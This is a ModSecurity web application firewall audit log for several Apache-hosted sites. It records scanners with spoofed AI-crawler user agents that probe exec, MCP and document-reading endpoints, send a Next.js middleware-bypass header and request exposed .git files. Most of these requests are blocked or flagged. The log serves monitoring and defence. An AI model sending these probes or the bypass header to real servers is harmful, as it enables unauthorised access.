Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--373b8a2e-Z--

--47b89724-A--
[13/Sep/2026:11:22:22.359276 +0300] aqZdPmM7dE9KgIIOpQhx4wAAAMo 34.80.249.255 60558 127.0.0.1 7081
--47b89724-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1k0czze7jbdz7
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--47b89724-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--47b89724-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742277080 82275 (- - -)
Stopwatch2: 1789287742277080 82275; combined=6242, p1=267, p2=5671, p3=0, p4=0, p5=304, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--47b89724-Z--

--2924e324-A--
[13/Sep/2026:11:22:22.395218 +0300] aqZdPmM7dE9KgIIOpQhx5AAAANI 34.80.249.255 60562 127.0.0.1 7081
--2924e324-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1k0czze7jbdz7
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--2924e324-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2924e324-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742330127 65199 (- - -)
Stopwatch2: 1789287742330127 65199; combined=5294, p1=269, p2=4735, p3=0, p4=0, p5=289, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2924e324-Z--

--5d53eb66-A--
[13/Sep/2026:11:22:22.712658 +0300] aqZdPmM7dE9KgIIOpQhx5QAAAMk 34.80.249.255 60576 127.0.0.1 7081
--5d53eb66-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--5d53eb66-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5d53eb66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742649221 63490 (- - -)
Stopwatch2: 1789287742649221 63490; combined=5115, p1=237, p2=4616, p3=0, p4=0, p5=262, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d53eb66-Z--

--0f827d49-A--
[13/Sep/2026:11:22:23.031480 +0300] aqZdPmM7dE9KgIIOpQhx5gAAAM0 34.80.249.255 60592 127.0.0.1 7081
--0f827d49-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--0f827d49-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0f827d49-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742952786 78746 (- - -)
Stopwatch2: 1789287742952786 78746; combined=5220, p1=254, p2=4637, p3=0, p4=0, p5=328, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0f827d49-Z--

--f389c049-A--
[13/Sep/2026:11:22:23.340593 +0300] aqZdP2M7dE9KgIIOpQhx5wAAAMg 34.80.249.255 60596 127.0.0.1 7081
--f389c049-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--f389c049-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f389c049-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743268120 72588 (- - -)
Stopwatch2: 1789287743268120 72588; combined=4513, p1=289, p2=3927, p3=0, p4=0, p5=297, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f389c049-Z--

--a658b759-A--
[13/Sep/2026:11:22:23.651842 +0300] aqZdP0wu1RSkptiiNIX28AAAAJY 34.80.249.255 60610 127.0.0.1 7081
--a658b759-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--a658b759-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a658b759-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743583486 68415 (- - -)
Stopwatch2: 1789287743583486 68415; combined=5648, p1=1092, p2=4118, p3=0, p4=0, p5=438, sr=191, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a658b759-Z--

--5d026920-A--
[13/Sep/2026:11:22:23.981199 +0300] aqZdP0wu1RSkptiiNIX28QAAAIU 34.80.249.255 60612 127.0.0.1 7081
--5d026920-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--5d026920-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5d026920-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287743907413 73842 (- - -)
Stopwatch2: 1789287743907413 73842; combined=12775, p1=362, p2=12139, p3=0, p4=0, p5=273, sr=205, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d026920-Z--

--6b259a51-A--
[13/Sep/2026:11:22:24.311989 +0300] aqZdQEwu1RSkptiiNIX28gAAAJE 34.80.249.255 60622 127.0.0.1 7081
--6b259a51-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--6b259a51-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6b259a51-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287744244456 67607 (- - -)
Stopwatch2: 1789287744244456 67607; combined=5312, p1=317, p2=4592, p3=0, p4=0, p5=403, sr=158, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b259a51-Z--

--900f4f35-A--
[13/Sep/2026:11:22:24.672211 +0300] aqZdQGM7dE9KgIIOpQhx6AAAAMY 34.80.249.255 60630 127.0.0.1 7081
--900f4f35-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip

--900f4f35-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--900f4f35-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287744580839 91422 (- - -)
Stopwatch2: 1789287744580839 91422; combined=6741, p1=367, p2=6079, p3=0, p4=0, p5=295, sr=152, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--900f4f35-Z--

--35c0c71c-A--
[13/Sep/2026:11:59:35.009342 +0300] aqZl9kwu1RSkptiiNIX3qQAAAIc 185.117.225.101 52988 127.0.0.1 7081
--35c0c71c-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*

--35c0c71c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link: <https://ajutam.ro/wp-json/>; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8

--35c0c71c-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZl9kwu1RSkptiiNIX3qQAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289974370974 638471 (- - -)
Stopwatch2: 1789289974370974 638471; combined=4866, p1=313, p2=4482, p3=0, p4=0, p5=71, sr=158, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35c0c71c-Z--

--3c20255b-A--
[13/Sep/2026:11:59:45.141117 +0300] aqZmAGM7dE9KgIIOpQhzUQAAAMQ 185.117.225.101 57588 127.0.0.1 7081
--3c20255b-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*

--3c20255b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link: <https://ajutam.ro/wp-json/>; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8

--3c20255b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZmAGM7dE9KgIIOpQhzUQAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289984809086 332104 (- - -)
Stopwatch2: 1789289984809086 332104; combined=5019, p1=317, p2=4631, p3=0, p4=0, p5=70, sr=146, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c20255b-Z--

--97ada014-A--
[13/Sep/2026:11:59:53.854555 +0300] aqZmCWM7dE9KgIIOpQhzZQAAAMo 185.117.225.101 56052 127.0.0.1 7081
--97ada014-B--
GET /robots.txt HTTP/1.1
Host: ajutam.ro
X-Real-IP: 185.117.225.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*

--97ada014-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link: <https://ajutam.ro/wp-json/>; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8

--97ada014-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.31.0||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/robots.txt"] [unique_id "aqZmCWM7dE9KgIIOpQhzZQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789289993540659 313996 (- - -)
Stopwatch2: 1789289993540659 313996; combined=7089, p1=461, p2=6565, p3=0, p4=0, p5=63, sr=231, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--97ada014-Z--

--bbd66a47-A--
[13/Sep/2026:12:04:38.128976 +0300] aqZnJWM7dE9KgIIOpQhzqgAAAMI 23.82.81.87 50120 127.0.0.1 7081
--bbd66a47-B--
POST /contact HTTP/1.1
Host: ihelp.ro
X-Real-IP: 23.82.81.87
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 508
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Origin: https://ihelp.ro
Referer: https://ihelp.ro/contact
Sec-Fetch-Dest: document
Sec-Fetch-Mode: cors
Cookie: csrfToken=eAz0dNjiLG43DtLWLtvs32Q4M2YxYzdkZDJmYTY4YzI0ZWJlOWRlNWY1ZDFlMGJlYTdhYWNhN2U%3D
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--bbd66a47-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-DEBUGKIT-ID: 1739193f-0f68-4804-8fcb-74d4ef70b79f
Set-Cookie: PHPSESSID=mle7o84gck5t4jdpjfsusd01dh; path=/; secure; HttpOnly; SameSite=Lax
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bbd66a47-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:12-04.23.82.81.87||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Matched phrase "/contact" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "182"] [id "77142192"] [msg "IM360 WAF: Track spam attempts||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact||"] [severity "NOTICE"] [tag "other_apps"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290277968657 160446 (- - -)
Stopwatch2: 1789290277968657 160446; combined=65197, p1=335, p2=64786, p3=0, p4=0, p5=76, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--bbd66a47-Z--

--26215319-A--
[13/Sep/2026:12:09:11.411560 +0300] aqZoN2M7dE9KgIIOpQhzzgAAAM8 34.73.246.242 36978 127.0.0.1 7081
--26215319-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--26215319-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--26215319-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZoN2M7dE9KgIIOpQhzzgAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqZoN2M7dE9KgIIOpQhzzgAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551318895 92799 (- - -)
Stopwatch2: 1789290551318895 92799; combined=90721, p1=1529, p2=88835, p3=0, p4=0, p5=356, sr=1310, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26215319-Z--

--47e10a33-A--
[13/Sep/2026:12:09:11.757439 +0300] aqZoN2M7dE9KgIIOpQhz1QAAAMs 34.73.246.242 37040 127.0.0.1 7081
--47e10a33-B--
GET /.gitconfig HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--47e10a33-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--47e10a33-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.gitconfig"] [unique_id "aqZoN2M7dE9KgIIOpQhz1QAAAMs"]
